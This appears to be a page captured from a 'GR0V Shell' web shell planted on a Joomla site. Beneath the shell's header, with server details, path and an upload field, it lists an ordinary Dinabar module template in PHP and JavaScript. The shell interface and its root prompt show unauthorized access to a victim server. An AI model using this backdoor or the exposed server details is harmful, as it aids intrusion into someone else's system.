? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/modules/mod_dinabar/tmpl/
File Upload :
Current File : /home/admin/public_html/old/modules/mod_dinabar/tmpl/default.php

<?php
/*
      Dinabar Module V. 1.2 for Joomla 1.5
      ----------------------------
      Dinabar show a top bar that scroll down during the page scroll.
      Created bt Andrea www.joomlovers.net
      Based on Roy Whittle work - http://www.javascript-fx.com
      ----------------------------
*/

// no direct access
defined('_JEXEC') or die('Restricted access');
$doc = &Jfactory::getDocument();

// -- PARAMETRI VIEVER
$viewer = $params->get('viewer');
$useCoo 	= (int) $params->get( 'useCoo', 0 );
$moi = $params->get('moi');

// -- PARAMETRI MESSAGE
$message = $params->get('message');
$font = $params->get('font');
$fontcolor = $params->get('fontcolor');
$padding = $params->get('padding');

// -- PARAMETRI IMAGE
$imagepath = $params->get('imagepath');
$imagelink = $params->get('imagelink');

// -- PARAMETRI MODULE
$modulepos = $params->get('modulepos');

// -- PARAMETRI BOX
$from = $params->get('from');
$top = $params->get('top');
$left = $params->get('left');
$bgcolor = $params->get('bgcolor');
$width = $params->get('width');
$border = $params->get('border');
$brcolor = $params->get('brcolor');
$btype = $params->get('btype');

// -- PARAMETRI CLOSE
$showclose = $params->get('showclose');
$close = $params->get('close');
$cfont = $params->get('cfont');
$cfontcolor = $params->get('cfontcolor');
$closealign = $params->get('closealign');

// -- Viewer many thanks to http://www.templateplazza.com for inspiration
$user		=& JFactory::getUser();
$userId		= (int) $user->get('id');
if($viewer=='visitor') {
	if(!empty($userId)) {
		return;
	}
} elseif ($viewer=='registered') {
	if(empty($userId)) {
		return;
	}
}

?>

<style>
#dinabar{
position:absolute;
width: <?php echo "$width" ?>px;
border: <?php echo "$border" ?>px <?php echo "$btype" ?> <?php echo "$brcolor" ?>;
background-color: <?php echo "$bgcolor" ?>;
font:<?php echo "$font" ?>px Arial, Helvetica, sans-serif;
color:<?php echo "$fontcolor" ?>;
padding: <?php echo "$padding" ?>px;
visibility: hidden;
z-index: 100;
}

#dinaclose, #dinaclose a, #dinaclose a:link, #dinaclose a:visited {
text-align:<?php echo "$closealign" ?>;
color:<?php echo "$cfontcolor" ?>;
font:<?php echo "$cfont" ?>px Trebuchet MS, Arial, Helvetica, sans-serif;
}
</style>

<script>
// JavaScript Document

var persistclose=<?php echo "$useCoo" ?> 
var startX = <?php echo "$left" ?> 
var startY = <?php echo "$top" ?> 
var verticalpos="<?php echo "$from" ?>" 

function iecompattest(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) {
offset += search.length
end = document.cookie.indexOf(";", offset);
if (end == -1) end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function closebar(){
if (persistclose)
document.cookie="remainclosed=1"
document.getElementById("dinabar").style.visibility="hidden"
}

function staticbar(){
	barheight=document.getElementById("dinabar").offsetHeight
	var ns = (navigator.appName.indexOf("Netscape") != -1) || window.opera;
	var d = document;
	function ml(id){
		var el=d.getElementById(id);
		if (!persistclose || persistclose && get_cookie("remainclosed")=="")
		el.style.visibility="visible"
		if(d.layers)el.style=el;
		el.sP=function(x,y){this.style.left=x+"px";this.style.top=y+"px";};
		el.x = startX;
		if (verticalpos=="fromtop")
		el.y = startY;
		else{
		el.y = ns ? pageYOffset + innerHeight : iecompattest().scrollTop + iecompattest().clientHeight;
		el.y -= startY;
		}
		return el;
	}
	window.stayTopLeft=function(){
		if (verticalpos=="fromtop"){
		var pY = ns ? pageYOffset : iecompattest().scrollTop;
		ftlObj.y += (pY + startY - ftlObj.y)/8;
		}
		else{
		var pY = ns ? pageYOffset + innerHeight - barheight: iecompattest().scrollTop + iecompattest().clientHeight - barheight;
		ftlObj.y += (pY - startY - ftlObj.y)/8;
		}
		ftlObj.sP(ftlObj.x, ftlObj.y);
		setTimeout("stayTopLeft()", 10);
	}
	ftlObj = ml("dinabar");
	stayTopLeft();
}

if (window.addEventListener)
window.addEventListener("load", staticbar, false)
else if (window.attachEvent)
window.attachEvent("onload", staticbar)
else if (document.getElementById)
window.onload=staticbar

</script>

<?php

echo "<noscript><div>Dhonishow requires Javascript</div></noscript>";
echo "<div id='dinabar'>";
if ( $moi == image ) {
echo "<a href='$imagelink'><img src='$imagepath'></a>";
if ( $showclose == 1 ) {
echo "<div id='dinaclose'><a href='' onClick='closebar(); return false' title='close'>$close</small></a></div>";
}
}
else if ( $moi == message ) {
echo "$message";
if ( $showclose == 1 ) {
echo "<div id='dinaclose'><a href='' onClick='closebar(); return false' title='close'>$close</a></div>";
}
}
// -- many thanks to Falvio Copes www.copesflavio.com and www.kksou.com
else if ( $moi == module ) { 
$a = new stdClass;
$dispatcher	=& JDispatcher::getInstance();
JPluginHelper::importPlugin('content');
$a->text = $str;
$results = $dispatcher->trigger('onPrepareContent', array (&$a, $a->params, 0));
echo $a->text;
if ( $showclose == 1 ) {
echo "<div id='dinaclose'><a href='' onClick='closebar(); return false' title='close'>$close</a></div>";
}
}
echo "</div>";
?>

T1KUS90T
  root-grov@210.1.60.28:~$